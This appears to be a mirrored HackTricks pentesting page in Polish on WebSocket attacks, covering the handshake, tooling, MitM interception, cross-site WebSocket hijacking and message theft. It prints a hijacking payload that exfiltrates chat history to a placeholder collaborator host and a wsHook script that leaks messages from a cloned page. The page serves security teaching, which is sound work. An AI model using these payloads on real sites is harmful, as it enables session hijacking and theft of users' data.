mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-11 22:03:10 +00:00
182 lines
13 KiB
Markdown
182 lines
13 KiB
Markdown
# Ataki na WebSockety
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## Czym są WebSockety
|
|
|
|
Połączenia WebSocket są nawiązywane poprzez początkowy uścisk dłoni **HTTP** i są zaprojektowane tak, aby były **długotrwałe**, umożliwiając dwukierunkową komunikację w dowolnym momencie bez konieczności posiadania systemu transakcyjnego. Dzięki temu WebSockety są szczególnie korzystne dla aplikacji wymagających **niskiego opóźnienia lub komunikacji inicjowanej przez serwer**, takich jak strumienie danych finansowych na żywo.
|
|
|
|
### Nawiązywanie połączeń WebSocket
|
|
|
|
Szczegółowe wyjaśnienie nawiązywania połączeń WebSocket można znaleźć [**tutaj**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). W skrócie, połączenia WebSocket są zwykle inicjowane za pomocą JavaScriptu po stronie klienta, jak pokazano poniżej:
|
|
```javascript
|
|
var ws = new WebSocket("wss://normal-website.com/ws");
|
|
```
|
|
Protokół `wss` oznacza połączenie WebSocket zabezpieczone protokołem **TLS**, podczas gdy `ws` oznacza **niezabezpieczone** połączenie.
|
|
|
|
Podczas nawiązywania połączenia, między przeglądarką a serwerem odbywa się proces ustanawiania połączenia, który odbywa się za pomocą protokołu HTTP. Proces ten polega na wysłaniu żądania przez przeglądarkę, a następnie odpowiedzi serwera, jak to przedstawiono w poniższych przykładach:
|
|
|
|
Przeglądarka wysyła żądanie ustanowienia połączenia:
|
|
```javascript
|
|
GET /chat HTTP/1.1
|
|
Host: normal-website.com
|
|
Sec-WebSocket-Version: 13
|
|
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
|
|
Connection: keep-alive, Upgrade
|
|
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
|
Upgrade: websocket
|
|
```
|
|
Odpowiedź serwera na handshake:
|
|
```javascript
|
|
HTTP/1.1 101 Switching Protocols
|
|
Connection: Upgrade
|
|
Upgrade: websocket
|
|
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|
```
|
|
Po nawiązaniu połączenia, komunikacja między stronami odbywa się w obie strony.
|
|
|
|
**Kluczowe punkty podczas negocjacji WebSocket:**
|
|
|
|
- Nagłówki `Connection` i `Upgrade` sygnalizują rozpoczęcie negocjacji WebSocket.
|
|
- Nagłówek `Sec-WebSocket-Version` wskazuje żądaną wersję protokołu WebSocket, zwykle `13`.
|
|
- W nagłówku `Sec-WebSocket-Key` wysyłana jest losowa wartość zakodowana w Base64, zapewniająca unikalność każdej negocjacji i pomagająca zapobiegać problemom z proxy cache. Ta wartość nie służy do uwierzytelniania, ale do potwierdzenia, że odpowiedź nie została wygenerowana przez źle skonfigurowany serwer lub cache.
|
|
- Nagłówek `Sec-WebSocket-Accept` w odpowiedzi serwera to suma kontrolna `Sec-WebSocket-Key`, potwierdzająca intencję serwera otwarcia połączenia WebSocket.
|
|
|
|
Te funkcje zapewniają bezpieczny i niezawodny proces negocjacji, umożliwiając efektywną komunikację w czasie rzeczywistym.
|
|
|
|
|
|
### Konsola Linux
|
|
|
|
Możesz użyć `websocat`, aby nawiązać surowe połączenie z WebSocketem.
|
|
```bash
|
|
websocat --insecure wss://10.10.10.10:8000 -v
|
|
```
|
|
Aby utworzyć serwer websocat:
|
|
```bash
|
|
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
|
```
|
|
### Ataki typu MitM na połączenia websocket
|
|
|
|
Jeśli zauważysz, że klienci są podłączeni do **websocketu HTTP** z twojej obecnej lokalnej sieci, możesz spróbować przeprowadzić [Atak ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing), aby przeprowadzić atak typu MitM między klientem a serwerem.\
|
|
Gdy klient próbuje się połączyć, możesz użyć:
|
|
```bash
|
|
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
|
```
|
|
### Wyliczanie Websockets
|
|
|
|
Możesz użyć **narzędzia** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **do automatycznego odkrywania, identyfikowania i wyszukiwania znanych** **podatności** w websockets.
|
|
|
|
### Narzędzia do debugowania Websocket
|
|
|
|
* **Burp Suite** obsługuje komunikację websockets w sposób bardzo podobny do komunikacji HTTP.
|
|
* Rozszerzenie [**socketsleuth**](https://github.com/snyk/socketsleuth) dla Burp Suite pozwoli Ci lepiej zarządzać komunikacją Websocket w Burp, pobierać **historię**, ustawiać **reguły przechwytywania**, używać reguł **dopasowania i zamiany**, korzystać z **Intrudera** i **AutoRepeater**.
|
|
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Skrót od "**WebSocket/Socket.io Proxy**", narzędzie napisane w Node.js, które zapewnia interfejs użytkownika do **przechwytywania, przechwytywania**, wysyłania **niestandardowych** wiadomości i przeglądania wszystkich komunikacji WebSocket i Socket.IO między klientem a serwerem.
|
|
* [**wsrepl**](https://github.com/doyensec/wsrepl) to **interaktywne REPL websocket** zaprojektowane specjalnie do testów penetracyjnych. Zapewnia interfejs do obserwowania **przychodzących wiadomości websocket i wysyłania nowych**, z łatwym w użyciu frameworkiem do **automatyzacji** tej komunikacji.
|
|
* [**https://websocketking.com/**](https://websocketking.com/) to **strona internetowa do komunikacji** z innymi stronami internetowymi za pomocą **websockets**.
|
|
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) oprócz innych typów komunikacji/protokołów, zapewnia **stronę internetową do komunikacji** z innymi stronami internetowymi za pomocą **websockets**.
|
|
|
|
## Laboratorium Websocket
|
|
|
|
W [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) znajdziesz kod do uruchomienia strony internetowej za pomocą websockets, a w [**tym poście**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) znajdziesz wyjaśnienie.
|
|
|
|
## Przechwytywanie WebSocket Cross-site (CSWSH)
|
|
|
|
**Przechwytywanie WebSocket Cross-site**, znane również jako **przechwytywanie WebSocket Cross-origin**, jest określane jako szczególny przypadek **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** dotyczący negocjacji WebSocket. Podatność ta występuje, gdy negocjacje WebSocket uwierzytelniają się wyłącznie za pomocą **ciasteczek HTTP**, bez tokenów CSRF lub podobnych środków bezpieczeństwa.
|
|
|
|
Atakujący mogą wykorzystać to, hostując **złośliwą stronę internetową**, która inicjuje połączenie WebSocket między witryną a podatną aplikacją. W rezultacie to połączenie jest traktowane jako część sesji ofiary z aplikacją, wykorzystując brak ochrony CSRF w mechanizmie obsługi sesji.
|
|
|
|
### Prosty atak
|
|
|
|
Należy zauważyć, że podczas **ustanawiania** połączenia **websocketowego**, **ciasteczko** jest **wysyłane** do serwera. Serwer może go używać do **powiązania** każdego **konkretnego użytkownika** z jego **sesją websocketową na podstawie wysłanego ciasteczka**.
|
|
|
|
Następnie, jeśli na przykład **serwer websocketowy wysyła historię rozmowy** użytkownika, jeśli zostanie wysłana wiadomość z "**READY"**, to **proste XSS** ustanawiające połączenie (ciasteczko zostanie **automatycznie wysłane**, aby autoryzować użytkownika ofiarę) **wysyłając** "**READY**" będzie w stanie **odzyskać** historię **rozmowy**.
|
|
```markup
|
|
<script>
|
|
websocket = new WebSocket('wss://your-websocket-URL')
|
|
websocket.onopen = start
|
|
websocket.onmessage = handleReply
|
|
function start(event) {
|
|
websocket.send("READY"); //Send the message to retreive confidential information
|
|
}
|
|
function handleReply(event) {
|
|
//Exfiltrate the confidential information to attackers server
|
|
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|
}
|
|
</script>
|
|
```
|
|
### Cross Origin + Cookie z inną subdomeną
|
|
|
|
W tym wpisie na blogu [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) atakujący zdołał **wykonać dowolny kod JavaScript w subdomenie** domeny, w której odbywała się komunikacja za pomocą gniazd sieciowych. Ponieważ była to **subdomena**, **cookie** było **wysyłane**, a ponieważ **Websocket nie sprawdzał poprawnie pochodzenia**, było możliwe komunikowanie się z nim i **kradzież tokenów**.
|
|
|
|
### Kradzież danych od użytkownika
|
|
|
|
Skopiuj aplikację internetową, którą chcesz podszyć (np. pliki .html) i wewnątrz skryptu, w którym odbywa się komunikacja za pomocą gniazd sieciowych, dodaj ten kod:
|
|
```javascript
|
|
//This is the script tag to load the websocket hooker
|
|
<script src='wsHook.js'></script>
|
|
|
|
//These are the functions that are gonig to be executed before a message
|
|
//is sent by the client or received from the server
|
|
//These code must be between some <script> tags or inside a .js file
|
|
wsHook.before = function(data, url) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "client_msg?m="+data, true);
|
|
xhttp.send();
|
|
}
|
|
wsHook.after = function(messageEvent, url, wsObject) {
|
|
var xhttp = new XMLHttpRequest();
|
|
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
|
xhttp.send();
|
|
return messageEvent;
|
|
}
|
|
```
|
|
Teraz pobierz plik `wsHook.js` z [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) i **zapisz go wewnątrz folderu z plikami internetowymi**.\
|
|
Ujawniając aplikację internetową i zmuszając użytkownika do połączenia się z nią, będziesz w stanie kraść wysłane i otrzymane wiadomości za pomocą protokołu websocket:
|
|
```javascript
|
|
sudo python3 -m http.server 80
|
|
```
|
|
## Wyścig warunków
|
|
|
|
Wyścigi warunków w WebSockets również są możliwe, [sprawdź te informacje, aby dowiedzieć się więcej](race-condition.md#rc-in-websockets).
|
|
|
|
## Inne podatności
|
|
|
|
Ponieważ WebSockets są mechanizmem do **wysyłania danych po stronie serwera i klienta**, w zależności od tego, jak serwer i klient obsługują informacje, **WebSockets mogą być wykorzystane do eksploatacji innych podatności, takich jak XSS, SQLi lub inne powszechne podatności internetowe, używając danych wprowadzonych przez użytkownika za pośrednictwem WebSockets**.
|
|
|
|
## **WebSocket Smuggling**
|
|
|
|
Ta podatność może umożliwić **ominięcie ograniczeń odwróconych proxy** przez sprawienie, że uwierzą one, że **nawiązano komunikację WebSocket** (nawet jeśli tak nie jest). To może umożliwić atakującemu **dostęp do ukrytych punktów końcowych**. Aby uzyskać więcej informacji, sprawdź następującą stronę:
|
|
|
|
{% content-ref url="h2c-smuggling.md" %}
|
|
[h2c-smuggling.md](h2c-smuggling.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Odwołania
|
|
|
|
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|